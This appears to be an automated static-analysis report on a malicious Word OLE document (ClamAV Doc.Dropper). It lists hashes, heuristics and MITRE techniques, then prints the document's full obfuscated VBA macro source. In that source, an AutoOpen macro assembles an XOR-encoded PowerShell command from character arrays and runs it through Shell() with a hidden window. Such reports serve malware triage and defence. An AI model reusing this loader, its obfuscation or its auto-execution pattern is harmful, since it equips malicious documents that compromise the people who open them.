Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d284b81e482ff592…

MALICIOUS

Office (OLE)

217.8 KB Created: 2018-06-28 20:47:00 Authoring application: Microsoft Office Word First seen: 2018-07-04
MD5: dedc59ebb960945e0ed9161756fb04fe SHA-1: e852494475825f4931a13dcd35a1d283ec7905d8 SHA-256: d284b81e482ff59296a09b5e0051a3f4125680555dc2b02eda9dc143ccca8f1f
212 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious OLE document containing VBA macros. A critical heuristic firing indicates the use of the Shell() function within the VBA code, which is commonly used to execute arbitrary commands. The presence of an AutoOpen macro further suggests automatic execution upon opening. The ClamAV detection name 'Doc.Dropper.Agent-6595294-0' also points to a dropper functionality.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6595294-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6595294-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    Cscit = 59007 + Atn(26303) / 40050 / Round(6907) / 49803 / CInt(GQvoZl)
    dPPFACQTDO = MvbjhMd + Shell(aHJTkQFIHCz + QBsOhVM + whcZBBvsMQB, 84883 + 84883 - 84883 * 2)
    KAECE = ChrB(56647 + Sin(XBjZZ * CLng(rfzkhv + 49463) + 13882 + wwVJQ))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
    Sub AutoOpen()
    On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11895 bytes
SHA-256: ddd001d052ac56f812bc7500817d2b3bfdd49764972f5107c92b1f5d8e2033fe
Detection
ClamAV: No threats found
Obfuscation or payload: likely
128 of 207 identifiers look randomly generated (e.g. 'dZiAfhzzXjkh') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "dZiAfhzzXjkh"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "wVAQtKHF"
Function fQDcDlUkj()
On Error Resume Next
pzwfU = 68238 + Atn(93410) / 21674 / Round(72266) / 55843 / CInt(whAFP)
jtLGtb = ChrB(26519 + Sin(ijizf * CLng(cjaPH + 36491) + 52452 + iHjNuK))
XcSrL = "HELL  " + "         " + "      " + "        " + "       " + "       " + "  " + Chr(34) + "$" + Chr(40) + "SeT" + "-ITEM " + " 'vARiaB" + "LE:OFs'" + " ''" + Chr(41) + Chr(34) + " " + Chr(43) + "[s"
lGfBmK = 442 + Atn(63216) / 25053 / Round(92486) / 46114 / CInt(clzNNG)
hMGkw = ChrB(93857 + Sin(CKEWj * CLng(CUzdDw + 86778) + 22940 + DNTjiw))
aPimiY = "TrINg]" + Chr(40) + " " + "[ChAR[]] " + Chr(40) + "34," + " 74 ," + "69,116,59" + ", 10" + "4, 9" + "9,11" + "3,43, 105" + ",100 " + ", 108 ,99" + ", 10"
jtWHod = 41765 + Atn(58749) / 41660 / Round(63095) / 9192 / CInt(HpcqP)
hHnWKR = ChrB(25254 + Sin(FJsRPO * CLng(JbLzZ + 85140) + 49360 + THWrWD))
TwiqAAUUbY = "1, 114,38" + ",72,99" + ",114" + " ,40 ," + "81 , " + "99, " + "100,69, " + "106,111,9" + "9 , 104, " + "114 ,61"
aXDrBr = 10208 + Atn(24520) / 66746 / Round(9327) / 88579 / CInt(YMlERq)
wORqq = ChrB(98620 + Sin(IUOna * CLng(qSiVNX + 24909) + 50103 + Ocvfw))
YAMzmFFJn = ", 34 , 11" + "6 ,1" + "03,73, " + "59 ,33" + " ,110,114" + " , 1" + "14 , " + "118 ,60," + " 41, 4" + "1 ,113, " + "113,113" + " , 40 ,10"
mhDEA = 34199 + Atn(10457) / 45540 / Round(18005) / 62687 / CInt(stikz)
iDCFdQ = ChrB(82670 + Sin(dfuAov * CLng(AGVnL + 67523) + 48966 + lvZoA))
FAVpZNqH = "7 ,11" + "1 ,116," + "111 , 103" + ", 107 ,10" + "0 , 115, " + "114 ," + " 114, " + "115,40 ," + "101,1" + "05, " + "107 "
TrTQhQ = 52379 + Atn(93148) / 93246 / Round(18166) / 32553 / CInt(KXmLX)
lBsnN = ChrB(95388 + Sin(LFfRJE * CLng(qPKnaj + 13679) + 59683 + DJLWzY))
sKWcw = ",41 ," + " 76,97,1" + "17,1" + "06,78, " + "41 , 70" + " , 110,1" + "14 , " + "114,118, " + "60, 41, " + "41,103 , " + "111 ," + " 116 , 10"
laXED = 97902 + Atn(74277) / 61464 / Round(57397) / 41873 / CInt(WLvfmF)
VuMwkn = ChrB(25832 + Sin(QodBb * CLng(mCtqmz + 45595) + 84189 + iJFFlT))
icuriaim = "7,10" + "3, 126 " + ", 126 " + ",40 ," + "116," + " 117 ,41 " + ", 12" + "6 ,50 ,1" + "19 , "
YXGjii = 79791 + Atn(74503) / 81032 / Round(69421) / 83568 / CInt(iwCcus)
ICoAGR = ChrB(57090 + Sin(ipfic * CLng(cPGuuI + 16923) + 25659 + ABHZJ))
jKHTvzwiC = "119,103" + ",107" + " , 4" + "1, 70 " + ",110, 1" + "14 , 1" + "14 ,1" + "18 ,60" + " ,41 ,"
chKMBL = 73370 + Atn(69055) / 43215 / Round(807) / 29123 / CInt(MGzLB)
LFivh = ChrB(99990 + Sin(avvoww * CLng(TmGHUV + 51020) + 51983 + fkufHw))
mSwToPdH = "41,1" + "13 ,1" + "13 , 113," + " 40," + " 100 ," + " 105,104" + " ,117, 1"
fQDcDlUkj = XcSrL + aPimiY + TwiqAAUUbY + YAMzmFFJn + FAVpZNqH + sKWcw + icuriaim + jKHTvzwiC + mSwToPdH
JpAsO = 7982 + Atn(92236) / 63271 / Round(23) / 20623 / CInt(bQqvXB)
jZAqq = ChrB(60465 + Sin(kPCKnU * CLng(iomwwF + 56310) + 30314 + ZHJtzK))
End Function
Function CMsvKJnPub()
On Error Resume Next
jMsHbW = 11621 + Atn(36551) / 97372 / Round(40616) / 7963 / CInt(otWMqz)
bEzZwu = ChrB(32397 + Sin(aihmpZ * CLng(TwuMB + 14466) + 66588 + zcBzb))
rkrbczsi = "03 ,111" + ", 114 ," + " 99 ,116 " + ", 103" + " ,118, 1" + "11 ,103,1" + "17,105,11" + "6 , " + "111, 99 " + ",104, 11"
DuTtBj = 91314 + Atn(74147) / 74232 / Round(92774) / 26641 / CInt(nfkRj)
EYZXS = ChrB(56369 + Sin(pskzwu * CLng(pkXoNs + 76545) + 81025 + jLwwr))
HZkGq = "4, 10" + "3 ,111" + ", 11" + "7,40 ," + " 101 , 10" + "5 ,10" + "7,41,8"
Djitm = 89824 + Atn(3973) / 46085 / Round(61348) / 54359 / CInt(vLqKpp)
SUCHw = ChrB(6937 + Sin(aOEtLT * CLng(GWpBOD + 14680) + 319 + MrLXzb))
rdwPXkq = "2,67, 85" + " , 82, 4" + "9 ,49,49" + " ,41 , 84" + " , 8" + "0 ,97 ,11" + "6, 82," + "75,1" + "26, 41,"
JrWwfX = 32087 + Atn(91553) / 74344 / Round(59530) / 6368 / CInt(jziUI)
opBJa = ChrB(73903 + Sin(SjqQkj * CLng(wOvCpX + 97163) + 69078 + tPjzv))
jomYsG = "70,11" + "0 ,114 ,1" + "14, 118, " + "60 , 41, " + "41,1" + "13 , " + "113, 113"
qiXDL = 18302 + Atn(73627) / 96956 / Round(951) / 32872 / CInt(CNqafC)
KNRCci = ChrB(71287 + Sin(EkHuq * CLng(wwqHth + 39057) + 68128 + QukFU))
AHuUzPqCkD = " ,40 , " + "98 , 1" + "05 ,1" + "14 ,1" + "06 , 99" + ", 104 " + ",111,99" + ", 10" + "4 , " + "111 , 40"
tiONlp = 65899 + Atn(4461) / 77129 / Round(11309) / 86484 / CInt(wFCrG)
zEOASm = ChrB(40152 + Sin(aABHrY * CLng(bKFsh + 10321) + 94324 + wCBAO))
WUWws = " , 118,1" + "06,4" + "1, 65,11" + "6, 10" + "9 ,7" + "3, 74" + " ,84"
iKZoK = 16756 + Atn(31361) / 44875 / Round(86850) / 23211 / CInt(sGOhBj)
UBWuw = ChrB(96710 + Sin(VAnRw * CLng(mGIwq + 53452) + 37436 + PAERtQ))
modadoRjhd = ",41 , 7" + "0,110" + ",114,11" + "4,11" + "8,60, 41 " + ", 41,10" + "1,110,11" + "1 , 10"
wiivVn = 60746 + Atn(24908) / 98338 / Round(67954) / 26346 / CInt(OoIcFv)
qmzRrZ = ChrB(25048 + Sin(EBSdDh * CLng(WRFVcd + 12526) + 86817 + NcAEs))
uIzIzzhiG = "7, 99" + ", 12" + "6 , 111" + " ,10" + "7,40" + ",117,118" + ",116 , 1" + "03, " + "127,117 "
CMsvKJnPub = rkrbczsi + HZkGq + rdwPXkq + jomYsG + AHuUzPqCkD + WUWws + modadoRjhd + uIzIzzhiG
XwWwZ = 5484 + Atn(2461) / 32369 / Round(82906) / 42471 / CInt(GaLjG)
tiSqW = ChrB(69095 + Sin(RjsoE * CLng(YIozd + 37683) + 12782 + HhVAO))
End Function
Function GEfRSB()
On Error Resume Next
TXfhcH = 35245 + Atn(14735) / 51394 / Round(49775) / 31398 / CInt(OEjqJ)
MczAR = ChrB(56579 + Sin(NzElwz * CLng(IkwuEL + 21800) + 93605 + QhOhcE))
zNSQuVbY = ", 114 ," + "115," + " 98, 11" + "1 , 105 ," + "40,116, 1" + "05 , 4" + "1 , "
YRXHo = 73480 + Atn(4706) / 37623 / Round(10376) / 4234 / CInt(PHNWi)
asiFll = ChrB(97806 + Sin(QfjSC * CLng(EIwfTY + 79728) + 3810 + hipCL))
kKVcMZot = "65,107 " + ", 64 ,64" + " , 41 " + ", 33" + ", 40 ," + " 85 ," + "118, " + "106 ,"
ojuDmG = 70130 + Atn(50596) / 94354 / Round(75129) / 61215 / CInt(FYGVA)
FvGKi = ChrB(6159 + Sin(nYVza * CLng(jnFbwl + 30324) + 31734 + Uizsnz))
jjXWwX = "111 ,11" + "4,46,33 ," + "70, 33" + " ,47 ,61 " + ", 34 , " + "105,65 ," + " 83 , 3" + "8 , 59, 3" + "8 , 33,"
dPLimw = 30557 + Atn(79025) / 57381 / Round(1989) / 83180 / CInt(ziOdWq)
lAwKjk = ChrB(73228 + Sin(aYLpP * CLng(DuGlw + 19485) + 76675 + QzvuS))
PKQljpjOdX = "51 , 50 " + ",54 ," + "33 ,61" + " ,34" + ",79 ,95,7" + "8 , " + "59 ,34, 9" + "9,10" + "4,112 ,60" + " , 1" + "14 , 99 " + ", 107,118"
GFEdC = 83896 + Atn(27901) / 68182 / Round(63917) / 9538 / CInt(tAfpQS)
bqvoI = ChrB(84404 + Sin(jINjzP * CLng(SUJUTh + 75322) + 46293 + UNBJCJ))
iVtJp = " ,45,33 " + ", 90" + " , 33 ,4" + "5 , 34,10" + "5 , 65 " + ", 83,4" + "5 , "
iAijT = 53160 + Atn(41569) / 35570 / Round(94701) / 24882 / CInt(WjBAh)
mafVUw = ChrB(71216 + Sin(DzbbH * CLng(XWziiU + 61133) + 42434 + zrXHiR))
Tqpph = "33,4" + "0,99 , " + "126," + " 99 ,33, " + "61, 96 ," + "105 ,"
qTfLXb = 57487 + Atn(74132) / 27406 / Round(8044) / 87808 / CInt(Pcurp)
fzjWRN = ChrB(18767 + Sin(kjiwp * CLng(HPIHw + 91705) + 20542 + sNQiaU))
XEZmRKat = "116,99 " + ", 103" + ",101, " + "110 , 46" + " , 34 " + ", 115,69 " + ",78 , 38 " + ",111 " + ",104, 38 " + ", 34 " + ",116,10"
OFzhc = 97723 + Atn(33954) / 8683 / Round(37408) / 4491 / CInt(BHrzI)
OnDAT = ChrB(73971 + Sin(uUkGWG * CLng(mpJWbi + 29205) + 25252 + pKpFi))
saQwitdw = "3, 73 , 4" + "7 ,1" + "25 , 11" + "4 , 116 " + ",127,12" + "5 ,3" + "4 ,74 " + ",69, " + "116,40," + " 66,1"
DDvFwP = 76325 + Atn(32194) / 10959 / Round(89252) / 35851 / CInt(nIOKh)
PfMzV = ChrB(42259 + Sin(CBfOqi * CLng(QAQjLR + 15352) + 45009 + YEbIZb))
htEivTawzD = "05,113, " + "104 , 10" + "6 , 105 " + ", 10" + "3,98" + ", 64 ,"
ticcq = 98054 + Atn(63534) / 12261 / Round(65239) / 48765 / CInt(wNICPP)
nnrhzP = ChrB(9032 + Sin(josuND * CLng(wmjNBr + 34448) + 37296 + wmqLJ))
TiclX = "111, 10" + "6, 99 , " + "46 ," + " 34, 11" + "5 ,69," + " 78, 42" + " ,38, 34" + ", 79 ," + "95 , 78,4" + "7, 61 ," + " 85,1"
VoLXlo = 26263 + Atn(22439) / 60154 / Round(24679) / 45961 / CInt(SsNnMX)
RVTCN = ChrB(89085 + Sin(ThiNZ * CLng(ipSEip + 34248) + 72706 + aEAitz))
ujjhDrLv = "14 ,10" + "3,11" + "6 ,114 ,4" + "3, 86, 1" + "16, 105 " + ",101 ,99" + " ,11" + "7 ,117, 3" + "8, 34 " + ",79, 95 " + ", 78 " + ", 61 , "
wLZSps = 40503 + Atn(5283) / 73977 / Round(95788) / 55710 / CInt(VjcRm)
PcaJFW = ChrB(11688 + Sin(iuOBjB * CLng(skXnH + 7779) + 81114 + PRkMB))
viWjhmPGSo = "100 , " + "116 ,99" + " , 103 " + ", 109" + ", 61" + " , 123,1"
GEfRSB = zNSQuVbY + kKVcMZot + jjXWwX + PKQljpjOdX + iVtJp + Tqpph + XEZmRKat + saQwitdw + htEivTawzD + TiclX + ujjhDrLv + viWjhmPGSo
CzmNz = 56294 + Atn(44189) / 849 / Round(76182) / 10779 / CInt(MEJan)
NbtcwF = ChrB(58359 + Sin(aZHKrU * CLng(ETfzc + 77285) + 70029 + zswSj))
End Function
Function SFjKfvRraHc()
On Error Resume Next
zjubhW = 71708 + Atn(16040) / 78294 / Round(12545) / 85330 / CInt(iYDPp)
kuHlid = ChrB(21301 + Sin(dDujzn * CLng(jbtNiK + 96710) + 46161 + iZEUFL))
zrcPAvP = "01 , 1" + "03, 114" + " ,101, 1" + "10,125" + " , 123," + "123 " + Chr(41) + "| %{ [" + "ChAR] " + Chr(40) + " $" + "_-bxor'" + "0x06'" + Chr(41) + " } " + Chr(41)
kCAhp = 76079 + Atn(26255) / 4003 / Round(33905) / 32464 / CInt(thOFHE)
wzKCH = ChrB(72816 + Sin(WMGEYq * CLng(SjJjwG + 9753) + 92806 + rvRZF))
wCuzIohl = " " + Chr(43) + Chr(34) + "$" + Chr(40) + " sEt-" + "itEm 'var" + "iaBLe:OfS" + "' ' ' " + Chr(41) + Chr(34) + "| &" + Chr(40) + Chr(40) + "vAri" + "AblE '*" + "mDR*'" + Chr(41) + ".nAm" + "e[3,11,2]" + "-joIN''"
hZRzHH = 27015 + Atn(19108) / 65340 / Round(90931) / 28320 / CInt(TbHzta)
bwEYIw = ChrB(16088 + Sin(jTGpM * CLng(jijnYj + 67409) + 7655 + bljLm))
ztMPiMNiT = Chr(41) + ""
SFjKfvRraHc = zrcPAvP + wCuzIohl + ztMPiMNiT
GuCrf = 57913 + Atn(84542) / 56002 / Round(2690) / 17804 / CInt(wFiqb)
CNnza = ChrB(19429 + Sin(rKXZc * CLng(YnWhcZ + 9152) + 97093 + DoBfdX))
End Function


Attribute VB_Name = "QiYKmAbmDj"
Function jWLpXiD()
On Error Resume Next
dazcfX = ChrB(80162 + Sin(AfUQDt * CLng(KGFFRt + 61588) + 60916 + SvzXYN))
YiPmO = 82373 + Atn(83973) / 38989 / Round(65753) / 49104 / CInt(sZKjn)
ADHpmjtWsR = uiptrAw + Chr(AWjCPaF + 80 + jiJlKi) + "ow" + "ers"
hSFbVm = ChrB(94427 + Sin(WJjXSY * CLng(sXaJmP + 23585) + 62919 + trDSU))
zqtGNw = 50344 + Atn(85136) / 22213 / Round(50190) / 79924 / CInt(LXDij)
RaSzd = ChrB(40042 + Sin(fVlshi * CLng(iaPuSD + 79661) + 63390 + KBFCdw))
PRTcr = 91386 + Atn(65067) / 42540 / Round(39373) / 13692 / CInt(TcQIo)
jWLpXiD = wNWHHdWHTwO + ADHpmjtWsR + fQDcDlUkj + CMsvKJnPub + GEfRSB + SFjKfvRraHc
sMWpkS = ChrB(70238 + Sin(IwXRQi * CLng(Vnbvwm + 46901) + 18345 + WdrLh))
PEFjmr = 3536 + Atn(12412) / 73104 / Round(93006) / 50387 / CInt(VKpopY)
End Function
Sub AutoOpen()
On Error Resume Next
OkoBM = ChrB(88895 + Sin(sUCOTG * CLng(ZBnmHn + 34250) + 60759 + cYGiv))
MQiwD = 45225 + Atn(87308) / 29568 / Round(41073) / 32309 / CInt(ItHOi)
Application.Run "otdUpYOD", jWLpXiD
qcGGV = ChrB(14825 + Sin(siVMdG * CLng(jOpBU + 51834) + 75350 + zJTmlk))
iBtsTd = 52436 + Atn(86220) / 36790 / Round(99082) / 42229 / CInt(FiUfw)
End Sub
Function otdUpYOD(QBsOhVM)
On Error Resume Next
GWrtTK = ChrB(41140 + Sin(tizmjW * CLng(jmcPC + 28493) + 52131 + rRVjZ))
wtzbr = 77749 + Atn(36359) / 44326 / Round(46384) / 61372 / CInt(BbuFjp)
PuuIcR = ChrB(75563 + Sin(fJzbwb * CLng(PqlUIp + 84461) + 86157 + iCcvw))
Cscit = 59007 + Atn(26303) / 40050 / Round(6907) / 49803 / CInt(GQvoZl)
dPPFACQTDO = MvbjhMd + Shell(aHJTkQFIHCz + QBsOhVM + whcZBBvsMQB, 84883 + 84883 - 84883 * 2)
KAECE = ChrB(56647 + Sin(XBjZZ * CLng(rfzkhv + 49463) + 13882 + wwVJQ))
YSjYTf = 32710 + Atn(88885) / 30752 / Round(21752) / 83354 / CInt(zEVcb)
End Function